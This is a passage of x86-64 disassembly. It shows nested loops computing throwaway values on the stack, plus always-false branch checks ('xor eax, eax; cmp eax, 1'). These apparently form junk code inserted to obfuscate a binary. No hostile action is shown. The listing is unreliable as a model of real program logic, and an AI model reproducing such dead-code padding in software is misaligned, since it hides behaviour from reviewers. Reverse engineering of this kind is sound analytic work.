mov dword [rsp + 0x1308], 0x5c
mov dword [rsp + 0xc08], 0
jmp 0x1401038a5
mov eax, dword [rsp + 0xc08]
inc eax
mov dword [rsp + 0xc08], eax
cmp dword [rsp + 0xc08], 6
jge 0x140103ce1
mov eax, dword [rsp + 0xc08]
add eax, 9
mov dword [rsp + 0x578], eax
mov eax, dword [rsp + 0x578]
add eax, 3
mov dword [rsp + 0x578], eax
cmp dword [rsp + 0x578], 0x18
jne 0x140103cce
mov dword [rsp + 0x12f0], 0
jmp 0x140103900
mov eax, dword [rsp + 0x12f0]
inc eax
mov dword [rsp + 0x12f0], eax
cmp dword [rsp + 0x12f0], 5
jge 0x140103ac9
mov dword [rsp + 0x12f4], 0x11
mov dword [rsp + 0xc0c], 0
jmp 0x140103936
mov eax, dword [rsp + 0xc0c]
inc eax
mov dword [rsp + 0xc0c], eax
cmp dword [rsp + 0xc0c], 3
jge 0x140103a11
mov eax, dword [rsp + 0xc0c]
inc eax
mov dword [rsp + 0x564], eax
mov eax, dword [rsp + 0x564]
inc eax
mov dword [rsp + 0x564], eax
cmp dword [rsp + 0x564], 4
jne 0x1401039fe
mov dword [rsp + 0x560], 0xd
mov dword [rsp + 0xc10], 0
jmp 0x14010399a
mov eax, dword [rsp + 0xc10]
inc eax
mov dword [rsp + 0xc10], eax
cmp dword [rsp + 0xc10], 4
jge 0x1401039e3
mov eax, dword [rsp + 0xc10]
mov ecx, dword [rsp + 0x560]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x560], eax
mov eax, dword [rsp + 0x560]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401039e1
imul eax, dword [rsp + 0x560], 3
mov dword [rsp + 0x560], eax
jmp 0x14010398a
mov eax, dword [rsp + 0x564]
imul eax, dword [rsp + 0x12f4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ae8], eax
cmp dword [rsp + 0x564], 6
jl 0x140103954
jmp 0x140103926
cmp dword [rsp + 0x12f4], 0xa
jle 0x140103ac4
mov eax, dword [rsp + 0x12f4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12f8], eax
mov dword [rsp + 0x568], 0xd
mov dword [rsp + 0xc14], 0
jmp 0x140103a5d
mov eax, dword [rsp + 0xc14]
inc eax
mov dword [rsp + 0xc14], eax
cmp dword [rsp + 0xc14], 4
jge 0x140103aa6
mov eax, dword [rsp + 0xc14]
mov ecx, dword [rsp + 0x568]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x568], eax
mov eax, dword [rsp + 0x568]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103aa4
imul eax, dword [rsp + 0x568], 3
mov dword [rsp + 0x568], eax
jmp 0x140103a4d
mov eax, dword [rsp + 0x12f8]
dec eax
mov dword [rsp + 0x12f8], eax
cmp dword [rsp + 0x12f8], 0
jg 0x140103a35
jmp 0x1401038f0
mov eax, dword [rsp + 0x578]
imul eax, dword [rsp + 0x1308]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1aec], eax
mov dword [rsp + 0x12fc], 0
jmp 0x140103b05
mov eax, dword [rsp + 0x12fc]
inc eax
mov dword [rsp + 0x12fc], eax
cmp dword [rsp + 0x12fc], 5
jge 0x140103cce
mov dword [rsp + 0x1300], 0x11
mov dword [rsp + 0xc18], 0
jmp 0x140103b3b
mov eax, dword [rsp + 0xc18]
inc eax
mov dword [rsp + 0xc18], eax
cmp dword [rsp + 0xc18], 3
jge 0x140103c16
mov eax, dword [rsp + 0xc18]
inc eax
mov dword [rsp + 0x570], eax
mov eax, dword [rsp + 0x570]
inc eax
mov dword [rsp + 0x570], eax
cmp dword [rsp + 0x570], 4
jne 0x140103c03
mov dword [rsp + 0x56c], 0xd
mov dword [rsp + 0xc1c], 0
jmp 0x140103b9f
mov eax, dword [rsp + 0xc1c]
inc eax
mov dword [rsp + 0xc1c], eax
cmp dword [rsp + 0xc1c], 4
jge 0x140103be8
mov eax, dword [rsp + 0xc1c]
mov ecx, dword [rsp + 0x56c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56c], eax
mov eax, dword [rsp + 0x56c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103be6
imul eax, dword [rsp + 0x56c], 3
mov dword [rsp + 0x56c], eax
jmp 0x140103b8f
mov eax, dword [rsp + 0x570]
imul eax, dword [rsp + 0x1300]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1af0], eax
cmp dword [rsp + 0x570], 6
jl 0x140103b59
jmp 0x140103b2b
cmp dword [rsp + 0x1300], 0xa
jle 0x140103cc9
mov eax, dword [rsp + 0x1300]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1304], eax
mov dword [rsp + 0x574], 0xd
mov dword [rsp + 0xc20], 0
jmp 0x140103c62
mov eax, dword [rsp + 0xc20]
inc eax
mov dword [rsp + 0xc20], eax
cmp dword [rsp + 0xc20], 4
jge 0x140103cab
mov eax, dword [rsp + 0xc20]
mov ecx, dword [rsp + 0x574]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x574], eax
mov eax, dword [rsp + 0x574]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103ca9
imul eax, dword [rsp + 0x574], 3
mov dword [rsp + 0x574], eax
jmp 0x140103c52
mov eax, dword [rsp + 0x1304]
dec eax
mov dword [rsp + 0x1304], eax
cmp dword [rsp + 0x1304], 0
jg 0x140103c3a
jmp 0x140103af5
cmp dword [rsp + 0x578], 0x21
jl 0x1401038c4
jmp 0x140103895
cmp dword [rsp + 0x1308], 0x32
jle 0x140103f0b
mov eax, dword [rsp + 0x1308]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1318], eax
mov dword [rsp + 0x130c], 0
jmp 0x140103d23
mov eax, dword [rsp + 0x130c]
inc eax
mov dword [rsp + 0x130c], eax
cmp dword [rsp + 0x130c], 5
jge 0x140103eec
mov dword [rsp + 0x1310], 0x11
mov dword [rsp + 0xc24], 0
jmp 0x140103d59
mov eax, dword [rsp + 0xc24]
inc eax
mov dword [rsp + 0xc24], eax
cmp dword [rsp + 0xc24], 3
jge 0x140103e34
mov eax, dword [rsp + 0xc24]
inc eax
mov dword [rsp + 0x580], eax
mov eax, dword [rsp + 0x580]
inc eax
mov dword [rsp + 0x580], eax
cmp dword [rsp + 0x580], 4
jne 0x140103e21
mov dword [rsp + 0x57c], 0xd
mov dword [rsp + 0xc28], 0
jmp 0x140103dbd
mov eax, dword [rsp + 0xc28]
inc eax
mov dword [rsp + 0xc28], eax
cmp dword [rsp + 0xc28], 4
jge 0x140103e06
mov eax, dword [rsp + 0xc28]
mov ecx, dword [rsp + 0x57c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c], eax
mov eax, dword [rsp + 0x57c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103e04
imul eax, dword [rsp + 0x57c], 3
mov dword [rsp + 0x57c], eax
jmp 0x140103dad
mov eax, dword [rsp + 0x580]
imul eax, dword [rsp + 0x1310]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1af4], eax
cmp dword [rsp + 0x580], 6
jl 0x140103d77
jmp 0x140103d49
cmp dword [rsp + 0x1310], 0xa
jle 0x140103ee7
mov eax, dword [rsp + 0x1310]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1314], eax
mov dword [rsp + 0x584], 0xd
mov dword [rsp + 0xc2c], 0
jmp 0x140103e80
mov eax, dword [rsp + 0xc2c]
inc eax
mov dword [rsp + 0xc2c], eax
cmp dword [rsp + 0xc2c], 4
jge 0x140103ec9
mov eax, dword [rsp + 0xc2c]
mov ecx, dword [rsp + 0x584]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x584], eax
mov eax, dword [rsp + 0x584]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140103ec7
imul eax, dword [rsp + 0x584], 3
mov dword [rsp + 0x584], eax
jmp 0x140103e70
mov eax, dword [rsp + 0x1314]
dec eax
mov dword [rsp + 0x1314], eax
cmp dword [rsp + 0x1314], 0
jg 0x140103e58
jmp 0x140103d13
mov eax, dword [rsp + 0x1318]
sub eax, 5
mov dword [rsp + 0x1318], eax
cmp dword [rsp + 0x1318], 0
jg 0x140103d06
mov dword [rsp + 0x131c], 0
jmp 0x140103f28
mov eax, dword [rsp + 0x131c]
inc eax
mov dword [rsp + 0x131c], eax
cmp dword [rsp + 0x131c], 5
jge 0x1401040f1
mov dword [rsp + 0x1320], 0x11
mov dword [rsp + 0xc30], 0
jmp 0x140103f5e
mov eax, dword [rsp + 0xc30]
inc eax
mov dword [rsp + 0xc30], eax
cmp dword [rsp + 0xc30], 3
jge 0x140104039
mov eax, dword [rsp + 0xc30]
inc eax
mov dword [rsp + 0x58c], eax
mov eax, dword [rsp + 0x58c]
inc eax
mov dword [rsp + 0x58c], eax
cmp dword [rsp + 0x58c], 4
jne 0x140104026
mov dword [rsp + 0x588], 0xd
mov dword [rsp + 0xc34], 0
jmp 0x140103fc2
mov eax, dword [rsp + 0xc34]
inc eax
mov dword [rsp + 0xc34], eax
cmp dword [rsp + 0xc34], 4
jge 0x14010400b
mov eax, dword [rsp + 0xc34]
mov ecx, dword [rsp + 0x588]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x588], eax
mov eax, dword [rsp + 0x588]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140104009
imul eax, dword [rsp + 0x588], 3
mov dword [rsp + 0x588], eax
jmp 0x140103fb2
mov eax, dword [rsp + 0x58c]
imul eax, dword [rsp + 0x1320]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1af8], eax
cmp dword [rsp + 0x58c], 6
jl 0x140103f7c
jmp 0x140103f4e
cmp dword [rsp + 0x1320], 0xa
jle 0x1401040ec
mov eax, dword [rsp + 0x1320]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1324], eax
mov dword [rsp + 0x590], 0xd
mov dword [rsp + 0xc38], 0
jmp 0x140104085
mov eax, dword [rsp + 0xc38]
inc eax
mov dword [rsp + 0xc38], eax
cmp dword [rsp + 0xc38], 4
jge 0x1401040ce
mov eax, dword [rsp + 0xc38]
mov ecx, dword [rsp + 0x590]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x590], eax
mov eax, dword [rsp + 0x590]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401040cc
imul eax, dword [rsp + 0x590], 3
mov dword [rsp + 0x590], eax
jmp 0x140104075
mov eax, dword [rsp + 0x1324]
dec eax
mov dword [rsp + 0x1324], eax
cmp dword [rsp + 0x1324], 0
jg 0x14010405d
jmp 0x140103f18
jmp 0x14010385f
xor eax, eax
cmp eax, 1
je 0x140104eba
xor eax, eax
test eax, eax
je 0x1401047e4
mov dword [rsp + 0x1328], 0
jmp 0x140104128
mov eax, dword [rsp + 0x1328]
inc eax
mov dword [rsp + 0x1328], eax
cmp dword [rsp + 0x1328], 5
jge 0x1401047df
mov dword [rsp + 0x1344], 0x33
mov dword [rsp + 0xc3c], 0
jmp 0x14010415e
mov eax, dword [rsp + 0xc3c]
inc eax
mov dword [rsp + 0xc3c], eax
cmp dword [rsp + 0xc3c], 6
jge 0x1401044b0
mov eax, dword [rsp + 0xc3c]
add eax, 2
mov dword [rsp + 0x5ac], eax
mov eax, dword [rsp + 0x5ac]
add eax, 3
mov dword [rsp + 0x5ac], eax
cmp dword [rsp + 0x5ac], 0xb
jne 0x14010449d
mov dword [rsp + 0x132c], 0
jmp 0x1401041b9
mov eax, dword [rsp + 0x132c]
inc eax
mov dword [rsp + 0x132c], eax
cmp dword [rsp + 0x132c], 5
jge 0x14010430f
mov dword [rsp + 0x1330], 7
mov dword [rsp + 0xc40], 0
jmp 0x1401041ef
mov eax, dword [rsp + 0xc40]
inc eax
mov dword [rsp + 0xc40], eax
cmp dword [rsp + 0xc40], 2
jge 0x140104292
mov eax, dword [rsp + 0xc40]
inc eax
mov dword [rsp + 0x598], eax
mov eax, dword [rsp + 0x598]
inc eax
mov dword [rsp + 0x598], eax
cmp dword [rsp + 0x598], 2
jne 0x140104283
mov dword [rsp + 0x594], 0x15
mov eax, dword [rsp + 0x594]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104257
mov eax, dword [rsp + 0x594]
shl eax, 1
mov dword [rsp + 0x594], eax
jmp 0x140104268
mov eax, dword [rsp + 0x594]
add eax, 3
mov dword [rsp + 0x594], eax
mov eax, dword [rsp + 0x598]
imul eax, dword [rsp + 0x1330]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1afc], eax
cmp dword [rsp + 0x598], 3
jl 0x14010420d
jmp 0x1401041df
cmp dword [rsp + 0x1330], 5
jle 0x14010430a
mov eax, dword [rsp + 0x1330]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1334], eax
mov dword [rsp + 0x59c], 0x15
mov eax, dword [rsp + 0x59c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401042df
mov eax, dword [rsp + 0x59c]
shl eax, 1
mov dword [rsp + 0x59c], eax
jmp 0x1401042f0
mov eax, dword [rsp + 0x59c]
add eax, 3
mov dword [rsp + 0x59c], eax
mov eax, dword [rsp + 0x1334]
dec eax
mov dword [rsp + 0x1334], eax
cmp dword [rsp + 0x1334], 0
jg 0x1401042af
jmp 0x1401041a9
mov eax, dword [rsp + 0x5ac]
imul eax, dword [rsp + 0x1344]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b00], eax
mov dword [rsp + 0x1338], 0
jmp 0x140104347
mov eax, dword [rsp + 0x1338]
inc eax
mov dword [rsp + 0x1338], eax
cmp dword [rsp + 0x1338], 5
jge 0x14010449d
mov dword [rsp + 0x133c], 7
mov dword [rsp + 0xc44], 0
jmp 0x14010437d
mov eax, dword [rsp + 0xc44]
inc eax
mov dword [rsp + 0xc44], eax
cmp dword [rsp + 0xc44], 2
jge 0x140104420
mov eax, dword [rsp + 0xc44]
inc eax
mov dword [rsp + 0x5a4], eax
mov eax, dword [rsp + 0x5a4]
inc eax
mov dword [rsp + 0x5a4], eax
cmp dword [rsp + 0x5a4], 2
jne 0x140104411
mov dword [rsp + 0x5a0], 0x15
mov eax, dword [rsp + 0x5a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401043e5
mov eax, dword [rsp + 0x5a0]
shl eax, 1
mov dword [rsp + 0x5a0], eax
jmp 0x1401043f6
mov eax, dword [rsp + 0x5a0]
add eax, 3
mov dword [rsp + 0x5a0], eax
mov eax, dword [rsp + 0x5a4]
imul eax, dword [rsp + 0x133c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b04], eax
cmp dword [rsp + 0x5a4], 3
jl 0x14010439b
jmp 0x14010436d
cmp dword [rsp + 0x133c], 5
jle 0x140104498
mov eax, dword [rsp + 0x133c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1340], eax
mov dword [rsp + 0x5a8], 0x15
mov eax, dword [rsp + 0x5a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010446d
mov eax, dword [rsp + 0x5a8]
shl eax, 1
mov dword [rsp + 0x5a8], eax
jmp 0x14010447e
mov eax, dword [rsp + 0x5a8]
add eax, 3
mov dword [rsp + 0x5a8], eax
mov eax, dword [rsp + 0x1340]
dec eax
mov dword [rsp + 0x1340], eax
cmp dword [rsp + 0x1340], 0
jg 0x14010443d
jmp 0x140104337
cmp dword [rsp + 0x5ac], 0xf
jl 0x14010417d
jmp 0x14010414e
cmp dword [rsp + 0x1344], 0x19
jle 0x140104667
mov eax, dword [rsp + 0x1344]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1354], eax
mov dword [rsp + 0x1348], 0
jmp 0x1401044f2
mov eax, dword [rsp + 0x1348]
inc eax
mov dword [rsp + 0x1348], eax
cmp dword [rsp + 0x1348], 5
jge 0x140104648
mov dword [rsp + 0x134c], 7
mov dword [rsp + 0xc48], 0
jmp 0x140104528
mov eax, dword [rsp + 0xc48]
inc eax
mov dword [rsp + 0xc48], eax
cmp dword [rsp + 0xc48], 2
jge 0x1401045cb
mov eax, dword [rsp + 0xc48]
inc eax
mov dword [rsp + 0x5b4], eax
mov eax, dword [rsp + 0x5b4]
inc eax
mov dword [rsp + 0x5b4], eax
cmp dword [rsp + 0x5b4], 2
jne 0x1401045bc
mov dword [rsp + 0x5b0], 0x15
mov eax, dword [rsp + 0x5b0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104590
mov eax, dword [rsp + 0x5b0]
shl eax, 1
mov dword [rsp + 0x5b0], eax
jmp 0x1401045a1
mov eax, dword [rsp + 0x5b0]
add eax, 3
mov dword [rsp + 0x5b0], eax
mov eax, dword [rsp + 0x5b4]
imul eax, dword [rsp + 0x134c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b08], eax
cmp dword [rsp + 0x5b4], 3
jl 0x140104546
jmp 0x140104518
cmp dword [rsp + 0x134c], 5
jle 0x140104643
mov eax, dword [rsp + 0x134c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1350], eax
mov dword [rsp + 0x5b8], 0x15
mov eax, dword [rsp + 0x5b8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104618
mov eax, dword [rsp + 0x5b8]
shl eax, 1
mov dword [rsp + 0x5b8], eax
jmp 0x140104629
mov eax, dword [rsp + 0x5b8]
add eax, 3
mov dword [rsp + 0x5b8], eax
mov eax, dword [rsp + 0x1350]
dec eax
mov dword [rsp + 0x1350], eax
cmp dword [rsp + 0x1350], 0
jg 0x1401045e8
jmp 0x1401044e2
mov eax, dword [rsp + 0x1354]
sub eax, 2
mov dword [rsp + 0x1354], eax
cmp dword [rsp + 0x1354], 0
jg 0x1401044d5
mov dword [rsp + 0x1358], 0
jmp 0x140104684
mov eax, dword [rsp + 0x1358]
inc eax
mov dword [rsp + 0x1358], eax
cmp dword [rsp + 0x1358], 5
jge 0x1401047da
mov dword [rsp + 0x135c], 7
mov dword [rsp + 0xc4c], 0
jmp 0x1401046ba
mov eax, dword [rsp + 0xc4c]
inc eax
mov dword [rsp + 0xc4c], eax
cmp dword [rsp + 0xc4c], 2
jge 0x14010475d
mov eax, dword [rsp + 0xc4c]
inc eax
mov dword [rsp + 0x5c0], eax
mov eax, dword [rsp + 0x5c0]
inc eax
mov dword [rsp + 0x5c0], eax
cmp dword [rsp + 0x5c0], 2
jne 0x14010474e
mov dword [rsp + 0x5bc], 0x15
mov eax, dword [rsp + 0x5bc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104722
mov eax, dword [rsp + 0x5bc]
shl eax, 1
mov dword [rsp + 0x5bc], eax
jmp 0x140104733
mov eax, dword [rsp + 0x5bc]
add eax, 3
mov dword [rsp + 0x5bc], eax
mov eax, dword [rsp + 0x5c0]
imul eax, dword [rsp + 0x135c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b0c], eax
cmp dword [rsp + 0x5c0], 3
jl 0x1401046d8
jmp 0x1401046aa
cmp dword [rsp + 0x135c], 5
jle 0x1401047d5
mov eax, dword [rsp + 0x135c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1360], eax
mov dword [rsp + 0x5c4], 0x15
mov eax, dword [rsp + 0x5c4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401047aa
mov eax, dword [rsp + 0x5c4]
shl eax, 1
mov dword [rsp + 0x5c4], eax
jmp 0x1401047bb
mov eax, dword [rsp + 0x5c4]
add eax, 3
mov dword [rsp + 0x5c4], eax
mov eax, dword [rsp + 0x1360]
dec eax
mov dword [rsp + 0x1360], eax
cmp dword [rsp + 0x1360], 0
jg 0x14010477a
jmp 0x140104674
jmp 0x140104118
jmp 0x140104eba
mov dword [rsp + 0x1364], 0
jmp 0x140104801
mov eax, dword [rsp + 0x1364]
inc eax
mov dword [rsp + 0x1364], eax
cmp dword [rsp + 0x1364], 5
jge 0x140104eba
mov dword [rsp + 0x1380], 0x44
mov dword [rsp + 0xc50], 0
jmp 0x140104837
mov eax, dword [rsp + 0xc50]
inc eax
mov dword [rsp + 0xc50], eax
cmp dword [rsp + 0xc50], 7
jge 0x140104b8c
mov eax, dword [rsp + 0xc50]
add eax, 4
mov dword [rsp + 0x5e0], eax
mov eax, dword [rsp + 0x5e0]
add eax, 4
mov dword [rsp + 0x5e0], eax
cmp dword [rsp + 0x5e0], 0x10
jne 0x140104b79
mov dword [rsp + 0x1368], 0
jmp 0x140104892
mov eax, dword [rsp + 0x1368]
inc eax
mov dword [rsp + 0x1368], eax
cmp dword [rsp + 0x1368], 5
jge 0x1401049e8
mov dword [rsp + 0x136c], 7
mov dword [rsp + 0xc54], 0
jmp 0x1401048c8
mov eax, dword [rsp + 0xc54]
inc eax
mov dword [rsp + 0xc54], eax
cmp dword [rsp + 0xc54], 2
jge 0x14010496b
mov eax, dword [rsp + 0xc54]
inc eax
mov dword [rsp + 0x5cc], eax
mov eax, dword [rsp + 0x5cc]
inc eax
mov dword [rsp + 0x5cc], eax
cmp dword [rsp + 0x5cc], 2
jne 0x14010495c
mov dword [rsp + 0x5c8], 0x15
mov eax, dword [rsp + 0x5c8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104930
mov eax, dword [rsp + 0x5c8]
shl eax, 1
mov dword [rsp + 0x5c8], eax
jmp 0x140104941
mov eax, dword [rsp + 0x5c8]
add eax, 3
mov dword [rsp + 0x5c8], eax
mov eax, dword [rsp + 0x5cc]
imul eax, dword [rsp + 0x136c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b10], eax
cmp dword [rsp + 0x5cc], 3
jl 0x1401048e6
jmp 0x1401048b8
cmp dword [rsp + 0x136c], 5
jle 0x1401049e3
mov eax, dword [rsp + 0x136c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1370], eax
mov dword [rsp + 0x5d0], 0x15
mov eax, dword [rsp + 0x5d0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401049b8
mov eax, dword [rsp + 0x5d0]
shl eax, 1
mov dword [rsp + 0x5d0], eax
jmp 0x1401049c9
mov eax, dword [rsp + 0x5d0]
add eax, 3
mov dword [rsp + 0x5d0], eax
mov eax, dword [rsp + 0x1370]
dec eax
mov dword [rsp + 0x1370], eax
cmp dword [rsp + 0x1370], 0
jg 0x140104988
jmp 0x140104882
mov eax, dword [rsp + 0x5e0]
imul eax, dword [rsp + 0x1380]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b14], eax
mov dword [rsp + 0x1374], 0
jmp 0x140104a23
mov eax, dword [rsp + 0x1374]
inc eax
mov dword [rsp + 0x1374], eax
cmp dword [rsp + 0x1374], 5
jge 0x140104b79
mov dword [rsp + 0x1378], 7
mov dword [rsp + 0xc58], 0
jmp 0x140104a59
mov eax, dword [rsp + 0xc58]
inc eax
mov dword [rsp + 0xc58], eax
cmp dword [rsp + 0xc58], 2
jge 0x140104afc
mov eax, dword [rsp + 0xc58]
inc eax
mov dword [rsp + 0x5d8], eax
mov eax, dword [rsp + 0x5d8]
inc eax
mov dword [rsp + 0x5d8], eax
cmp dword [rsp + 0x5d8], 2
jne 0x140104aed
mov dword [rsp + 0x5d4], 0x15
mov eax, dword [rsp + 0x5d4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104ac1
mov eax, dword [rsp + 0x5d4]
shl eax, 1
mov dword [rsp + 0x5d4], eax
jmp 0x140104ad2
mov eax, dword [rsp + 0x5d4]
add eax, 3
mov dword [rsp + 0x5d4], eax
mov eax, dword [rsp + 0x5d8]
imul eax, dword [rsp + 0x1378]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b18], eax
cmp dword [rsp + 0x5d8], 3
jl 0x140104a77
jmp 0x140104a49
cmp dword [rsp + 0x1378], 5
jle 0x140104b74
mov eax, dword [rsp + 0x1378]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x137c], eax
mov dword [rsp + 0x5dc], 0x15
mov eax, dword [rsp + 0x5dc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104b49
mov eax, dword [rsp + 0x5dc]
shl eax, 1
mov dword [rsp + 0x5dc], eax
jmp 0x140104b5a
mov eax, dword [rsp + 0x5dc]
add eax, 3
mov dword [rsp + 0x5dc], eax
mov eax, dword [rsp + 0x137c]
dec eax
mov dword [rsp + 0x137c], eax
cmp dword [rsp + 0x137c], 0
jg 0x140104b19
jmp 0x140104a13
cmp dword [rsp + 0x5e0], 0x14
jl 0x140104856
jmp 0x140104827
cmp dword [rsp + 0x1380], 0x28
jle 0x140104d42
mov eax, dword [rsp + 0x1380]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1390], eax
mov dword [rsp + 0x1384], 0
jmp 0x140104bcd
mov eax, dword [rsp + 0x1384]
inc eax
mov dword [rsp + 0x1384], eax
cmp dword [rsp + 0x1384], 5
jge 0x140104d23
mov dword [rsp + 0x1388], 7
mov dword [rsp + 0xc5c], 0
jmp 0x140104c03
mov eax, dword [rsp + 0xc5c]
inc eax
mov dword [rsp + 0xc5c], eax
cmp dword [rsp + 0xc5c], 2
jge 0x140104ca6
mov eax, dword [rsp + 0xc5c]
inc eax
mov dword [rsp + 0x5e8], eax
mov eax, dword [rsp + 0x5e8]
inc eax
mov dword [rsp + 0x5e8], eax
cmp dword [rsp + 0x5e8], 2
jne 0x140104c97
mov dword [rsp + 0x5e4], 0x15
mov eax, dword [rsp + 0x5e4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104c6b
mov eax, dword [rsp + 0x5e4]
shl eax, 1
mov dword [rsp + 0x5e4], eax
jmp 0x140104c7c
mov eax, dword [rsp + 0x5e4]
add eax, 3
mov dword [rsp + 0x5e4], eax
mov eax, dword [rsp + 0x5e8]
imul eax, dword [rsp + 0x1388]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b1c], eax
cmp dword [rsp + 0x5e8], 3
jl 0x140104c21
jmp 0x140104bf3
cmp dword [rsp + 0x1388], 5
jle 0x140104d1e
mov eax, dword [rsp + 0x1388]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x138c], eax
mov dword [rsp + 0x5ec], 0x15
mov eax, dword [rsp + 0x5ec]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104cf3
mov eax, dword [rsp + 0x5ec]
shl eax, 1
mov dword [rsp + 0x5ec], eax
jmp 0x140104d04
mov eax, dword [rsp + 0x5ec]
add eax, 3
mov dword [rsp + 0x5ec], eax
mov eax, dword [rsp + 0x138c]
dec eax
mov dword [rsp + 0x138c], eax
cmp dword [rsp + 0x138c], 0
jg 0x140104cc3
jmp 0x140104bbd
mov eax, dword [rsp + 0x1390]
sub eax, 3
mov dword [rsp + 0x1390], eax
cmp dword [rsp + 0x1390], 0
jg 0x140104bb0
mov dword [rsp + 0x1394], 0
jmp 0x140104d5f
mov eax, dword [rsp + 0x1394]
inc eax
mov dword [rsp + 0x1394], eax
cmp dword [rsp + 0x1394], 5
jge 0x140104eb5
mov dword [rsp + 0x1398], 7
mov dword [rsp + 0xc60], 0
jmp 0x140104d95
mov eax, dword [rsp + 0xc60]
inc eax
mov dword [rsp + 0xc60], eax
cmp dword [rsp + 0xc60], 2
jge 0x140104e38
mov eax, dword [rsp + 0xc60]
inc eax
mov dword [rsp + 0x5f4], eax
mov eax, dword [rsp + 0x5f4]
inc eax
mov dword [rsp + 0x5f4], eax
cmp dword [rsp + 0x5f4], 2
jne 0x140104e29
mov dword [rsp + 0x5f0], 0x15
mov eax, dword [rsp + 0x5f0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104dfd
mov eax, dword [rsp + 0x5f0]
shl eax, 1
mov dword [rsp + 0x5f0], eax
jmp 0x140104e0e
mov eax, dword [rsp + 0x5f0]
add eax, 3
mov dword [rsp + 0x5f0], eax
mov eax, dword [rsp + 0x5f4]
imul eax, dword [rsp + 0x1398]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b20], eax
cmp dword [rsp + 0x5f4], 3
jl 0x140104db3
jmp 0x140104d85
cmp dword [rsp + 0x1398], 5
jle 0x140104eb0
mov eax, dword [rsp + 0x1398]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x139c], eax
mov dword [rsp + 0x5f8], 0x15
mov eax, dword [rsp + 0x5f8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140104e85
mov eax, dword [rsp + 0x5f8]
shl eax, 1
mov dword [rsp + 0x5f8], eax
jmp 0x140104e96
mov eax, dword [rsp + 0x5f8]
add eax, 3
mov dword [rsp + 0x5f8], eax
mov eax, dword [rsp + 0x139c]
dec eax
mov dword [rsp + 0x139c], eax
cmp dword [rsp + 0x139c], 0
jg 0x140104e55
jmp 0x140104d4f
jmp 0x1401047f1
xor eax, eax
cmp eax, 1
je 0x14010583c
xor eax, eax
test eax, eax
je 0x140105639
mov dword [rsp + 0x13a0], 0
jmp 0x140104eec
mov eax, dword [rsp + 0x13a0]
inc eax
mov dword [rsp + 0x13a0], eax
cmp dword [rsp + 0x13a0], 5
jge 0x140105634
mov dword [rsp + 0x628], 0x4d
